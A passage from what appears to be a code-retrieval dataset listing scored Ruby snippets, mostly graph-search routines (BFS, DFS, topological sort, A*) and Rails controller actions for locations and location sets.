visited[source] = true\n que = Queue.new()\n que.push(source)\n level[source] = 0\n print(\"Node - Level\",\"\\n\")\n while (que.empty? == false)\n curr = que.pop()\n depth = level[curr]\n adl = self.Adj[curr]\n print(curr.to_s + \" - \" + depth.to_s,\"\\n\")\n for adn in adl do\n if (visited[adn.dest] == false)\n visited[adn.dest] = true\n que.push(adn.dest)\n level[adn.dest] = depth + 1\n end\n end\n end\n end", "title": "" }, { "docid": "e566fdd9eb1b0e1ae43fa6fcafe93d05", "score": "0.61624134", "text": "def dfsr(g, s)\n def _dfsr(g, s, v)\n n = s\n puts \"node #{n}\"\n for e in g[n]\n unless v.include?(v)\n v.push(e)\n _dfsr(g, e, v)\n end\n end\n end\n _dfsr(g, s, [])\nend", "title": "" }, { "docid": "bd18eb128cf90a46d61786bad790846a", "score": "0.6155948", "text": "def inorder_traversal(root)\n return [] if root.nil?\n visited = []\n inorder_dfs(root, visited)\n visited\nend", "title": "" }, { "docid": "5d6c37cac9ae783099723a900df9a7de", "score": "0.6154509", "text": "def topological_sort(vertices)\n order = []\n explored = Set.new\n cycle = false\n temp = Set.new\n\n vertices.each do |vertex|\n cycle = dfs!(order, explored, vertex, cycle, temp) unless explored.include?(vertex)\n return [] if cycle\n end\n order\nend", "title": "" }, { "docid": "f628410c7c212c6b5022ad066c2ea54a", "score": "0.61456853", "text": "def flatten_dfs\n \tflattened_array = []\n\n \tto_explore = [self]\n \tvisited \t = Set.new \n\n \tuntil to_explore.empty? do\n \t\tcurrent_node = to_explore.pop\n \t\tvisited << current_node.object_id\n\n \t\tarray_successors = []\n \t\tcurrent_node.each do |element|\n \t\t\tif element.kind_of?(Array)\n \t\t\t\tif visited.include?(element.object_id)\n \t\t\t\t \traise_recursive_error\n \t\t\t\tend\n \t\t\t\tarray_successors << element\n \t\t\telse\n \t\t\t\tflattened_array << element\n \t\t\tend\n \t\tend\n \t\t# so we can pop the first successor first\n \t\tarray_successors.reverse_each {|node| to_explore.push(node)}\n \tend\n\n \tflattened_array\n end", "title": "" }, { "docid": "4c85b31a433620f89d1825e0a4c6e6ae", "score": "0.61434263", "text": "def topological_sort(vertices)\n order = []\n explored = Set.new\n temp = Set.new\n cycle = false\n\n vertices.each do |vertex|\n cycle = dfs!(order, explored, vertex, cycle) unless explored.include?(vertex)\n return [] if cycle\n end\n\n order\nend", "title": "" }, { "docid": "2f6f90b3483e49fcbf1826da7279cc3f", "score": "0.614181", "text": "def dfs_loop(graph)\n returned_array = []\n time = 0\n to_visit = []\n graph.reverse.each.with_index do |val, index|\n if val.nil?\n next\n end\n visited = []\n if val[3] == false\n val[2].each do |next_index|\n if graph[next_index][3] == false\n to_visit << next_index\n end\n end\n next_vert = to_visit.pop\n val[3] = true\n visited << val[0]\n if next_vert.nil? == false\n while graph[next_vert][3] == false || to_visit != [] do\n if graph[next_vert][3] == true\n next_vert = to_visit.pop\n next\n end\n \n graph[next_vert][3] = true\n visited << graph[next_vert][0]\n \n graph[next_vert][2].each do |next_index|\n if graph[next_index][3] == false\n \n to_visit << next_index\n end\n end\n \n if to_visit != []\n next_vert = to_visit.pop\n else\n break\n end\n \n end #while loop\n end\n \n visited.reverse.each do |x|\n graph[x][4] = time\n returned_array << [time, graph[x][0]]\n time += 1\n end\n \n end\n end #outer for loop\n dfs_countx(graph, returned_array.reverse)\n end", "title": "" }, { "docid": "82b52f9da17292a6a93f1a04cd90f6db", "score": "0.61414754", "text": "def depth_first_search_exclude_start(graph, start)\n stack = [graph.fetch(start).to_a.reverse]\n visited = Set.new\n until stack.empty?\n node = stack.last.pop\n if node.nil?\n stack.pop\n next\n end\n next if visited.include?(node)\n visited << node\n stack << graph.fetch(node).to_a.reverse\n yield node\n end\n end", "title": "" }, { "docid": "764934aa73629fb02a4345e82407cabe", "score": "0.6132433", "text": "def topological_sort(vertices)\n order = []\n explored = Set.new\n\n vertices.each do |vertex|\n dfs!(order, explored, vertex) unless explored.include?(vertex)\n end\n\n order\nend", "title": "" }, { "docid": "472decc031fae36338d43ba2bb5e1fc0", "score": "0.61217463", "text": "def depth_first_graph_search(problem)\n return graph_search(problem, Stack.new)\nend", "title": "" }, { "docid": "ff1a7f8d6b9ec353636311ec4e043f6a", "score": "0.6114338", "text": "def dfs(initial)\n nodes, seen = Set.new, Set.new\n stack = Array(initial).reverse\n\n while node = stack.pop\n if seen.include?(node)\n nodes.add(node)\n else\n seen.add(node)\n stack.push(node)\n stack.concat(Array(yield node).reverse)\n end\n end\n\n nodes\n end", "title": "" }, { "docid": "ff1a7f8d6b9ec353636311ec4e043f6a", "score": "0.6114338", "text": "def dfs(initial)\n nodes, seen = Set.new, Set.new\n stack = Array(initial).reverse\n\n while node = stack.pop\n if seen.include?(node)\n nodes.add(node)\n else\n seen.add(node)\n stack.push(node)\n stack.concat(Array(yield node).reverse)\n end\n end\n\n nodes\n end", "title": "" }, { "docid": "25547e9b14d158f9115fad1b558edd64", "score": "0.6112113", "text": "def reachable(graph, source)\n reached = {}\n stack = []\n\n graph[source].each do |vtx|\n stack = [vtx] unless reached[vtx]\n\n while !stack.empty?\n reached_vtx = stack.pop\n reached[reached_vtx] = true\n graph[reached_vtx].each do |neighbor|\n stack.push(neighbor) unless reached[neighbor]\n end\n end\n end\n\n reached.keys\nend", "title": "" }, { "docid": "2d1d9e693ee6497bf30217471156e39c", "score": "0.6107973", "text": "def visit(vertex, stack)\n if stack.include?(vertex)\n return \"cycle\"\n end\n\n stack.push(vertex)\n\n return if $visited.include?(vertex)\n\n $visited.push(vertex)\n out_edges = vertex.out_edges\n value = nil\n\n vertex.out_edges.each do |edge|\n value = visit(edge.to_vertex, stack)\n if value == \"cycle\"\n stack.pop\n return \"cycle\"\n end\n end\n\n stack.pop\n $sorted.unshift(vertex)\n return\nend", "title": "" }, { "docid": "61b6aef6fc1572a1f54864ba469a9f17", "score": "0.6095863", "text": "def solve\n #walk through vertices, using modified A* algorithm to find the most direct route to finish node\n consider_set = Containers::PriorityQueue.new {|v1, v2| (v1 <=> v2) == -1} #MinHeap. Lowest priority/total-cost at root\n distance = 0\n parent = -1\n priority = (distance + cost(@start, @finish))\n consider_set.push(@start, priority)\n\n while (not @solved) and (current = consider_set.pop)\n visit(current, parent)\n\n if (current == @finish)\n @solved = true\n break\n end\n\n #get all neighboring nodes we can go to sorted based on their heuristical distance from finish\n accessible_neighbors(current).each do |neighbor|\n unless visited?(neighbor)\n #add every accessible neighbor with its priority = distance so far to the node + cost/straight line to finish\n priority = (distance + cost(neighbor, @finish))\n consider_set.push(neighbor, priority)\n end\n end\n parent = current\n end\n trace_shortest_path\n end", "title": "" }, { "docid": "5ed1751f6c09b0b599cce748330ef7b3", "score": "0.60919416", "text": "def bfs(graph)\n # write your code here\n queue = [0]\n result = []\n visited = []\n\n until queue.empty?\n head = queue.shift\n result << head\n visited << head\n\n not_visited = graph[head].reject { |node| visited.include? node }\n\n visited += not_visited\n queue += not_visited\n end\n\n result\nend", "title": "" }, { "docid": "e90611f5e1b2d94d71cd8a61fe665727", "score": "0.60719234", "text": "def depth_first_search(graph, start_node, target)\n processed_nodes = []\n pending_nodes = [start_node]\n\n # Set up the hash table of nodes to neighbors\n # Not really necessarily, but possibly a lot more performant\n # for bigger graphs\n neighbors = Hash.new { |h, k| h[k] = [] }\n graph.edges.each do |edge|\n a, b = edge.to_a\n neighbors[a] << b\n neighbors[b] << a\n end\n\n # Run the search\n until pending_nodes.empty?\n current = pending_nodes.pop\n return current if current == target\n neighbors[current].each do |neighbor|\n unless processed_nodes.include?(neighbor) or pending_nodes.include?(neighbor)\n pending_nodes << neighbor\n end\n end\n\n processed_nodes << current\n end\n\n # We've searched everything.\n # If we haven't found the target by now, it's not in here\n return false\n\nend", "title": "" }, { "docid": "3b84d144115e4632f147c1b967386bc9", "score": "0.607164", "text": "def dfs(x, p=nil, lv=0)\n $par[x] = p\n $lv[x] = lv\n $g[x].each do |y|\n if y != p\n dfs(y, x, lv + 1)\n end\n end\nend", "title": "" }, { "docid": "b9b1d035c5247afb1d8466a55612960e", "score": "0.6070552", "text": "def dfs(direction, x, y, endX, endY)\n\t\treturn false if @maze[y][x] == '1' or @visited[y][x] == true\n\t\t@visited[y][x] = true\n\t\t@predecessor[y][x] = direction\n\t\treturn true if (x == endX * 2 + 1) and (y == endY * 2 + 1)\n\t\tdfs(1, x + 1, y, endX, endY) or dfs(2, x, y + 1, endX, endY) or dfs(-1, x - 1, y, endX, endY) or dfs(-2, x, y - 1, endX, endY)\n\tend", "title": "" }, { "docid": "ea5ec584ef9bcf6d19ac6a74ba8551ca", "score": "0.6064376", "text": "def dfs(root)\r\n # check the given value\r\n # if it is waht we are lloking for return it\r\n # otherwise recursevely call dfs on each node's children\r\n \r\nend", "title": "" }, { "docid": "07759a4c33a9d6e25f81e92c3c03ba66", "score": "0.6062419", "text": "def dfs(tree_node,search_value)\r\n @current_node = tree_node\r\n if @current_node.payload == search_value\r\n puts \"Current Node = #{@current_node.payload}\"\r\n return @current_node\r\n else\r\n puts \"Invalid Node = #{@current_node.payload}\"\r\n if !tree_node.children.empty?\r\n tree_node.children.each do |node|\r\n if @current_node.payload != search_value\r\n dfs(node,search_value)\r\n end\r\n end\r\n end\r\n end\r\nend", "title": "" }, { "docid": "6ab380c55ba4a7ee6f412c8d00a57797", "score": "0.6061162", "text": "def explore(visited_keys:, infinity:, start:, forbidden:, key_locations:, grid:, best_known_steps:, current_solution_steps:, depth: 0)\n if current_solution_steps > best_known_steps\n puts \"Super early break efficient!\"\n return nil\n end\n debug2 \"Depth #{depth}\"\n distances = Hash.new(infinity)\n\n debug \"Dijkstra computation starting from #{start.join(',')} with #{forbidden.join('')} as forbidden chars\"\n update_distance(grid, distances, start, forbidden)\n\n # find newly keys/doors accessible within reachable paths\n reachable_keys = key_locations.select { |key,point| distances[point] < distances.default && !visited_keys.include?(key)}.keys\n case reachable_keys.size\n when 0\n debug2 \"Terminal case\"\n return [visited_keys, current_solution_steps]\n else\n #puts(\" \" * depth + \"Several keys are reachable: #{reachable_keys.join(',')}\")\n reachable_keys\n .sort_by! { |key| distances[key_locations[key]] }\n .reject! { |key| distances[key_locations[key]] + current_solution_steps > best_known_steps}\n solution = reachable_keys.map do |reached_key|\n inner_visited_keys = visited_keys.dup\n inner_forbidden = forbidden.dup\n #puts(\" \" * depth + \" Trying #{reached_key}\")\n steps = distances[key_locations[reached_key]]\n inner_forbidden -= [reached_key.upcase]\n inner_visited_keys << reached_key\n start = key_locations[reached_key]\n new_keys, steps = explore(visited_keys: inner_visited_keys.dup, infinity: infinity, start: start, forbidden: inner_forbidden.dup, key_locations: key_locations, grid: grid, best_known_steps: best_known_steps, current_solution_steps: steps + current_solution_steps, depth: depth+1)\n if steps\n puts(\" \" * depth + \" Best solution for #{new_keys.join(',')}: #{steps}\")\n best_known_steps = steps\n [new_keys, steps]\n else\n nil\n end\n end.compact.to_h\n new_keys, steps = solution.min_by { |_,v| v }\n if steps && steps <= best_known_steps\n [new_keys, steps]\n else\n nil\n end\n end\nend", "title": "" }, { "docid": "f3ac587f095a862628bdb60ab41f1c24", "score": "0.60590357", "text": "def topological_sort(vertices)\n queue = vertices.select {|vertex| vertex.in_edges.empty?}\n visited = []\n until queue.empty?\n vertex = queue.shift\n visit(vertex, visited)\n queue += vertices.select {|vertex| vertex.in_edges.empty? && !visited.include?(vertex)}\n end\n p visited.length\n (vertices - visited).length == 0 ? visited : []\nend", "title": "" }, { "docid": "6d058435e7298377af2e1af32c75d0e3", "score": "0.60529363", "text": "def dfs(node, target)\n return node if node.value == target \n\n node.children.each do |child| \n result = dfs(child, target) \n return result unless result.nil?\n end\n\n nil\nend", "title": "" }, { "docid": "e131f2e1527f7c71f1e3e695edc383ed", "score": "0.6050576", "text": "def dfs(tree,visited,curr,cycle)\n\tres_str = \"(\" + curr\n\tif visited.include?(tree[curr][0]) then\n\t\tcycle.push(1)\n\t\treturn res_str\n\telse\n\t\tres_str += dfs(tree[curr[0]])\n\t\tres_str += dfs(tree[curr[1]])\n\tend\n\tres_str + \")\"\nend", "title": "" }, { "docid": "482cb0c509edf4b254b2d644db812fc9", "score": "0.6039935", "text": "def bfs(v)\n raise ArgumentError, \"No such vertex\" if v < 0 or vertices <= v\n queue = LinkedQueue.new\n is_visited = []\n queue.enter(Edge.new(-1,v))\n while !queue.empty? do\n edge = queue.leave\n next if is_visited[edge.w]\n yield edge.v,edge.w\n is_visited[edge.w] = true\n each_edge(edge.w) do |w,x|\n queue.enter(Edge.new(w,x)) if !is_visited[x]\n end\n end\n end", "title": "" }, { "docid": "30a4e2abafcba0af9b7baca195ba3620", "score": "0.60398996", "text": "def search(start_vertex, queue_type, neighbor_function=nil, goal_state=nil, search_depth=nil)\n set_vertex_color(start_vertex, \"gray\")\n set_vertex_distance(start_vertex, 0)\n queue = Queue.new(queue_type)\n queue.enqueue(get_graph_vertex(start_vertex))\n goal_not_reached = true\n count = 0\n return_goal_state = nil\n while queue.length != 0 and goal_not_reached\n current_vertex = queue.dequeue\n count += 1\n # Full BFS or DFS with no goal state\n if neighbor_function.nil? and search_depth.nil? and goal_state.nil?\n neighbors_of(current_vertex).each do |neighbor|\n\t if neighbor.color == \"white\"\n\t set_vertex_color(get_graph_vertex(neighbor), \"gray\")\n\t set_vertex_distance(get_graph_vertex(neighbor), get_vertex_distance(get_graph_vertex(current_vertex)) + 1)\n\t set_vertex_predecessor(get_graph_vertex(neighbor), get_graph_vertex(current_vertex))\n\t queue.enqueue(get_graph_vertex(neighbor))\n\t end\n\tend\n\tset_vertex_color(get_graph_vertex(current_vertex), \"black\")\n # Search for goal_state with no distance limit\n elsif !neighbor_function.nil? and !goal_state.nil? and search_depth.nil?\n\tneighbors = get_graph_vertex(current_vertex).send(neighbor_function, goal_state)\n\tneighbors.each do |neighbor|\n\t unless self.include? neighbor\n\t self.add_vertex(neighbor)\n\t self.add_edge(current_vertex, neighbor)\n\t if neighbor == goal_state\n set_vertex_color(get_graph_vertex(neighbor), \"gray\")\n\t set_vertex_distance(get_graph_vertex(neighbor), get_vertex_distance(get_graph_vertex(current_vertex)) + 1)\n\t set_vertex_predecessor(get_graph_vertex(neighbor), get_graph_vertex(current_vertex))\nputs \"\t a;dslfkj #{return_goal_state} \"\n\t return_goal_state = neighbor\n\t goal_not_reached = false\n\t break\n\t end\n\t if get_vertex_color(get_graph_vertex(neighbor)) == \"white\"\n\t set_vertex_color(get_graph_vertex(neighbor), \"gray\")\n\t set_vertex_distance(get_graph_vertex(neighbor), get_vertex_distance(get_graph_vertex(current_vertex)) + 1)\n\t set_vertex_predecessor(get_graph_vertex(neighbor), get_graph_vertex(current_vertex))\n\t queue.enqueue(get_graph_vertex(neighbor))\n\t end\n\t set_vertex_color(get_graph_vertex(current_vertex), \"black\")\n\t end\n\tend\n # Random walk to a given distance and no goal state\n elsif !neighbor_function.nil? and goal_state.nil? and !search_depth.nil?\n\tneighbors = get_graph_vertex(current_vertex).send(neighbor_function)\n\tneighbors.each do |neighbor|\n\t unless self.include? neighbor\n\t self.add_vertex(neighbor)\n\t self.add_edge(current_vertex, neighbor)\n\t if count == search_depth\n\t return_goal_state = neighbor\n\t goal_not_reached = false\n\t break\n\t end\n\t if get_vertex_color(get_graph_vertex(neighbor)) == \"white\"\n\t set_vertex_color(get_graph_vertex(neighbor), \"gray\")\n\t set_vertex_distance(get_graph_vertex(neighbor), get_vertex_distance(get_graph_vertex(current_vertex)) + 1)\n\t set_vertex_predecessor(get_graph_vertex(neighbor), get_graph_vertex(current_vertex))\n\t queue.enqueue(get_graph_vertex(neighbor))\n\t end\n\t set_vertex_color(get_graph_vertex(current_vertex), \"black\")\n\t end\n\tend\n else\n\t# Other possible prototypes\n end\t\n end\nputs \"return_goal_state: #{return_goal_state}\"\n return return_goal_state, count\n end", "title": "" }, { "docid": "c1bb12d3f1652e55e782adda05475e3f", "score": "0.6019436", "text": "def bfs(adj_matrix, source_vertex, target_vertex)\n queue = [source_vertex]\n visited = [] # used to keep track of visited order\n discovered = Array.new(adj_matrix.length, false)\n discovered[source_vertex] = true\n loop do\n current_vertex = queue.shift\n return false, visited if current_vertex.nil?\n\n visited << current_vertex\n return true, visited if current_vertex == target_vertex\n\n (0...adj_matrix.length).to_a.each do |other_vertex|\n next if discovered[other_vertex] || adj_matrix[current_vertex][other_vertex].zero?\n\n queue << other_vertex\n discovered[other_vertex] = true\n end\n end\nend", "title": "" } ]
c52e36fc8cbd49d2034dc08104fb3869
GET /locationsets/1 GET /locationsets/1.xml
[ { "docid": "875456e4e52d7a42ae62bd268a423867", "score": "0.70791674", "text": "def show\n @locationset = Locationset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @locationset }\n end\n end", "title": "" } ]
[ { "docid": "805e5b54273bb44407911c3295be9010", "score": "0.6964658", "text": "def list_locations\n headers = default_headers\n headers['Accept'] = 'text/xml'\t# JSON locations not supported\n Nokogiri.XML(get('/locations', headers))\n end", "title": "" }, { "docid": "2e37afb1cea5f126fa18daa61687be28", "score": "0.6628027", "text": "def new\n @locationset = Locationset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @locationset }\n end\n end", "title": "" }, { "docid": "455ea7e8d27ac942d32764ab17655fd3", "score": "0.63887894", "text": "def index\n @locations = Defer { ::Location.all }\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @locations }\n end\n end", "title": "" }, { "docid": "efd76664e93f44bbf5c717a965aa5d3f", "score": "0.63364613", "text": "def index\n @locations = Location.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @locations }\n end\n end", "title": "" }, { "docid": "efd76664e93f44bbf5c717a965aa5d3f", "score": "0.63364613", "text": "def index\n @locations = Location.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @locations }\n end\n end", "title": "" }, { "docid": "93351f11a36ee93394643cb206e101a9", "score": "0.6314672", "text": "def index\n @locations = Location.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @locations }\n end\n end", "title": "" }, { "docid": "4cdeb758bc0c24e117734dfe9561000e", "score": "0.62738365", "text": "def show\n @location = Location.find(params[:id]).to_xml(:dasherize => false)\n\n respond_to do |format|\n format.xml { render :xml => @location }\n end\n end", "title": "" }, { "docid": "9eb77066656e7f49c5c4142673b4b8e5", "score": "0.62531465", "text": "def extract_locationSet\n locationSet_array = {}\n self.find_by_terms('//vra:locationSet/vra:display').each do |location_display|\n insert_solr_field_value(locationSet_array, \"location_display_tesim\", location_display.text)\n end\n\n # Add a field for each location\n self.find_by_terms('//vra:locationSet/vra:location').each do |location|\n location.xpath('vra:name', 'vra' => 'http://www.vraweb.org/vracore4.htm').map { |name|\n insert_solr_field_value(locationSet_array, \"location_name_tesim\", name.text)\n }\n end\n\n return locationSet_array\n end", "title": "" }, { "docid": "d319e1e35450bb5130bece409749d2ea", "score": "0.62278855", "text": "def all\n location_id = params[:id]\n location_id ||= \"1\"\n url= \"http://localhost:8080\"\n r = RestClient::Resource.new url\n # TODO Uncomment when implemented\n create_feed(location_id) unless feed_exists?(location_id)\n res = r[\"exist/atom/content/4302Collection/\"+location_id].get\n #res = r[\"exist/atom/content/4302Collection/root-trends\"].get\n render :xml => res\n end", "title": "" }, { "docid": "54428b4caf798d602a3f3bf2d8ac6c22", "score": "0.6217152", "text": "def index\n @locations = @medium.locations\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @locations.to_xml }\n end\n end", "title": "" }, { "docid": "dd1af8193aacc7e8caf63ef5be424326", "score": "0.6167186", "text": "def create\n @locationset = Locationset.new(params[:locationset])\n\n respond_to do |format|\n if @locationset.save\n format.html { redirect_to(@locationset, :notice => 'Locationset was successfully created.') }\n format.xml { render :xml => @locationset, :status => :created, :location => @locationset }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @locationset.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "534e115af77cd857981883a18916e33a", "score": "0.6164245", "text": "def get_location_data\n url = URI::HTTP.build({\n host: 'jws.jalan.net',\n path: '/APICommon/AreaSearch/V1/',\n query: \"key=#{@key}\"\n })\n \n Crack::XML.parse(open(url).read)[\"Results\"][\"Area\"][\"Region\"]\nend", "title": "" }, { "docid": "54e09ecd3d26099c2071e5cad01f2873", "score": "0.61310035", "text": "def list_locations\n request = @client.management_request(:get, '/locations')\n response = request.call\n Serialization.locations_from_xml(response)\n end", "title": "" }, { "docid": "c159e7085fbc517f20fb81f94fd8d4a7", "score": "0.6126639", "text": "def list_locations\n request = Azure::BaseManagement::ManagementHttpRequest.new(:get, '/locations')\n response = request.call\n Serialization.locations_from_xml(response)\n end", "title": "" }, { "docid": "30cf3aaba2cf137b9aad8454273b78d0", "score": "0.6123079", "text": "def locations(opts = {})\n get 'locations', opts\n end", "title": "" }, { "docid": "c788ec67f65f19aa9584e3f1427d3530", "score": "0.61222404", "text": "def index\n @locs = visible_locations\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @locs }\n end\n end", "title": "" }, { "docid": "fdd62b3f25710cf50f4e16f2c9b77fbd", "score": "0.6113292", "text": "def index\n @location_contexts = LocationContext.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @location_contexts }\n end\n end", "title": "" }, { "docid": "5a045e60ef8597f6e1a8e45e32e24111", "score": "0.61007726", "text": "def locations(options={})\n get(\"/locations/search\")\n end", "title": "" }, { "docid": "8c495c2d724d61c327e3c5550c965ecc", "score": "0.605406", "text": "def get(set_name)\n url = @uri + \"#{set_name}?api-version=#{api_version}\"\n url\n end", "title": "" }, { "docid": "5fd6d2bf4ef7c9dfe3a4ac8afee442e2", "score": "0.60039675", "text": "def get\n @xml = @paths.map { |path|\n puts \"GET\\t#{@host + path}\"\n RestClient.get(@host + path) { |response, request, result|\n puts \"RESPONSE #{response.code}\"\n response.body\n }\n }.map { |response|\n Nokogiri::XML(response).xpath(\"/*\").to_s\n }\n self\n end", "title": "" }, { "docid": "f67f4611400cb25118d569a1af60b2f2", "score": "0.60033417", "text": "def show\n @groups_location = GroupsLocation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @groups_location }\n end\n end", "title": "" }, { "docid": "43df3982ca874174c2750053d24e1f76", "score": "0.5966949", "text": "def index\n @locations = Location.all\n respond_to do |format|\n #format.html\n format.json { render json: @locations }\n format.xml { render xml: @locations }\n end\n end", "title": "" }, { "docid": "2aa00a46acfb5aae55686a60d54019bf", "score": "0.5964232", "text": "def index\n @apiv1_locations = Location.all\n end", "title": "" }, { "docid": "af849b14f0d0fac0d95b86322dfce920", "score": "0.5962171", "text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @location }\n end\n end", "title": "" }, { "docid": "0f751dc4995945cead7e9aa7b9b0e50a", "score": "0.5953289", "text": "def index\n #1st you retrieve the location thanks to params[:location_id]\n location = Location.find(params[:location_id])\n #2nd you get all the net_racks of this location\n @net_racks = location.net_racks\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @net_racks }\n end\n end", "title": "" }, { "docid": "fa186ce89af9ca65b73f5e30779761ba", "score": "0.5929922", "text": "def show\n @lookup_set = LookupSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_set }\n end\n end", "title": "" }, { "docid": "55a0957c2b3ac0400d31972f8779c7da", "score": "0.5913819", "text": "def locations()\n get('transactionLocations')\n end", "title": "" }, { "docid": "3bf846db779e4590849d01e774d49da7", "score": "0.58879095", "text": "def locations!\n mashup(self.class.get(\"/\", :query => method_params('aj.jobs.getLocations'))).locations.location\n end", "title": "" }, { "docid": "75b8003fe18377563caf81c3ab34d010", "score": "0.5878723", "text": "def show\n @location = Location.get!(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @location }\n end\n end", "title": "" }, { "docid": "8ecd9446c4a952aa771e29190a6c31cb", "score": "0.5856958", "text": "def index\n @stock_locations = StockLocation.scopied.page(params[:page]).per(params[:per])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @locations }\n end\n end", "title": "" }, { "docid": "276634971e45a354ef37d2a045b9a6dd", "score": "0.5841522", "text": "def index\n @provider_locations = ProviderLocation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @provider_locations }\n end\n end", "title": "" }, { "docid": "4c39dbfc166946475595fa94c150da91", "score": "0.5836986", "text": "def index\n @class_locations = ClassLocation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @class_locations }\n end\n end", "title": "" }, { "docid": "6319f032a05591a5fb1275e7c207b1d4", "score": "0.5803046", "text": "def query_locations(options={}) path = \"/api/v2/locations\"\n get(path, options, AvaTax::VERSION) end", "title": "" }, { "docid": "fd1dda5a18912be1512fccc390cec6d6", "score": "0.5801975", "text": "def show\n @loc = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @loc }\n end\n end", "title": "" }, { "docid": "789120a5cb363ede7aa8e3b06a7e89c7", "score": "0.57921904", "text": "def show\n @set_list = SetList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @set_list }\n end\n end", "title": "" }, { "docid": "2b28c62e49ee17287e9445ea72547832", "score": "0.57901084", "text": "def index\n @location_classifications = LocationClassification.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @location_classifications }\n end\n end", "title": "" }, { "docid": "55996b383258b68f01a554d1f794e0c8", "score": "0.57834715", "text": "def show_locations_activities\n self.soap_response('getLocationsForUrl')\n\n locations = []\n locations.push(\"<option value=\\\"\\\">-- Select a Location --</option>\")\n\n @doc.xpath('/env:Envelope/env:Body/Array/item/return/activityNames').each do |node|\n id = node.xpath('id')\n city = node.xpath('city')\n locations.push(\"<option value=\\\"#{id.text}\\\">#{city.text}</option>\")\n end\n\n haml_concat \"#{locations}\"\n\n end", "title": "" }, { "docid": "fc706915f5053cf41ef5bedc8e45f729", "score": "0.5764676", "text": "def show_locations_activities\n self.soap_response('getLocationsForUrl')\n \n locations = []\n locations.push(\"<option value=\\\"\\\">-- Select a Location --</option>\")\n \n @doc.xpath('/env:Envelope/env:Body/Array/item/return/activityNames').each do |node|\n id = node.xpath('id')\n city = node.xpath('city')\n locations.push(\"<option value=\\\"#{id.text}\\\">#{city.text}</option>\")\n end\n \n haml_concat \"#{locations}\"\n \n end", "title": "" }, { "docid": "c701c5def10dd736a3bc9e14e57d4ee8", "score": "0.5759746", "text": "def show\n @location = Location.find(params[:id])\n \n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @location.to_xml }\n end \n end", "title": "" }, { "docid": "8305ede79b2bb5693ba0845ec7185d21", "score": "0.57545006", "text": "def index\n @geosets = Geoset.all\n end", "title": "" }, { "docid": "d2ececb34df0e011e5ff9235db7a8c0e", "score": "0.57473224", "text": "def locations(options={})\n get('fullPageLoadLocations', options)\n end", "title": "" }, { "docid": "adbb95429ee754473eea268477423beb", "score": "0.57399195", "text": "def index\n #1st you retrieve the location thanks to params[:location_id]\n net_rack = NetRack.find(params[:net_rack_id])\n #2nd you get all the net_racks of this location\n @devices = net_rack.devices\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @net_racks }\n end\n end", "title": "" }, { "docid": "58b8164a3f84a2ef871594d5b19328e9", "score": "0.5737602", "text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @location }\n end\n end", "title": "" }, { "docid": "58b8164a3f84a2ef871594d5b19328e9", "score": "0.5737602", "text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @location }\n end\n end", "title": "" }, { "docid": "58b8164a3f84a2ef871594d5b19328e9", "score": "0.5737602", "text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @location }\n end\n end", "title": "" }, { "docid": "58b8164a3f84a2ef871594d5b19328e9", "score": "0.5737602", "text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @location }\n end\n end", "title": "" }, { "docid": "58b8164a3f84a2ef871594d5b19328e9", "score": "0.5737602", "text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @location }\n end\n end", "title": "" }, { "docid": "58b8164a3f84a2ef871594d5b19328e9", "score": "0.5737602", "text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @location }\n end\n end", "title": "" }, { "docid": "58b8164a3f84a2ef871594d5b19328e9", "score": "0.5737602", "text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @location }\n end\n end", "title": "" }, { "docid": "58b8164a3f84a2ef871594d5b19328e9", "score": "0.5737602", "text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @location }\n end\n end", "title": "" }, { "docid": "58b8164a3f84a2ef871594d5b19328e9", "score": "0.5737602", "text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @location }\n end\n end", "title": "" }, { "docid": "0778fd294a0e6d432a6cb70ddbdaf612", "score": "0.57336396", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = ListLocationsResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "3f1691e3f406716bcb72e675e33593cd", "score": "0.57325983", "text": "def 